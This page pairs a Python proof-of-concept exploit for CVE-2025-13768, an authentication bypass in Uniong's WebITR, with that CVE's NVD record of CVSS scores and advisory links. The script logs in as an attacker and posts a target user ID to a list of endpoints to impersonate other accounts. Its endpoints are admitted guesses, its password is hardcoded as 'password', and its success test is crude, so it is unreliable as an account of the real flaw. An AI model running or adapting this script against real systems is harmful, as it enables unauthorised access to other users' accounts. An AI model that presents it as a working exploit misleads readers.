CVE-2025-13768

# CVE-2025-13768 WebITR Authentication Bypass PoC # This PoC demonstrates the authentication bypass vulnerability in WebITR # Note: This is for educational and authorized testing purposes only import requests import sys def exploit_webitr_auth_bypass(target_url, attacker_credentials, target_user_id): """ Exploit the authentication bypass vulnerability in WebITR Args: target_url: Base URL of the vulnerable WebITR instance attacker_credentials: Tuple of (username, password) target_user_id: The user ID to impersonate Returns: bool: True if exploitation successful, False otherwise """ session = requests.Session() # Step 1: Normal authentication with attacker credentials login_url = f"{target_url}/login" login_data = { 'username': attacker_credentials[0], 'password': attacker_credentials[1] } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return False print("[+] Successfully authenticated with attacker credentials") # Step 2: Exploit the authentication bypass # Modify the user_id parameter to impersonate target user # Common vulnerable endpoints might be: # /api/user/profile, /api/session/update, /api/auth/impersonate bypass_endpoints = [ '/api/user/profile', '/api/session/update', '/api/auth/impersonate', '/user/profile/update' ] for endpoint in bypass_endpoints: bypass_url = f"{target_url}{endpoint}" bypass_data = { 'user_id': target_user_id, 'action': 'impersonate' } response = session.post(bypass_url, data=bypass_data, timeout=10) # Check if the exploitation was successful # Successful exploitation typically returns session cookie # or confirmation of user ID change if response.status_code == 200 and 'session' in response.text.lower(): print(f"[+] Successfully exploited via {endpoint}") print(f"[+] Now impersonating user ID: {target_user_id}") return True print("[-] Exploitation failed - no vulnerable endpoint found") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def main(): if len(sys.argv) != 4: print("Usage: python cve-2025-13768.py <target_url> <attacker_username> <target_user_id>") print("Example: python cve-2025-13768.py http://target.com admin 1") sys.exit(1) target_url = sys.argv[1] attacker_username = sys.argv[2] target_user_id = sys.argv[3] print(f"[*] Target: {target_url}") print(f"[*] Attacker username: {attacker_username}") print(f"[*] Target user ID: {target_user_id}") print("[*] Starting exploitation...") success = exploit_webitr_auth_bypass( target_url, (attacker_username, "password"), # Assume password is known target_user_id ) if success: print("\n[!] Vulnerability confirmed - Authentication bypass successful") else: print("\n[-] Exploitation failed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-13768", "sourceIdentifier": "[email protected]", "published": "2025-11-28T08:15:52.560", "lastModified": "2025-12-01T14:39:31.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WebITR developed by Uniong has an Authentication Bypass vulnerability, allowing authenticated remote attackers to log into the system as any user by modifying a specific parameter. Attackers must first obtain a user ID to exploit this vulnerability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uniong:webitr:*:*:*:*:*:*:*:*", "versionEndExcluding": "2_1_0_34", "matchCriteriaId": "414A6A7A-9CC4-4D2E-9AB4-33D5E86C8BA8"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10539-21f45-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10538-6a26d-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}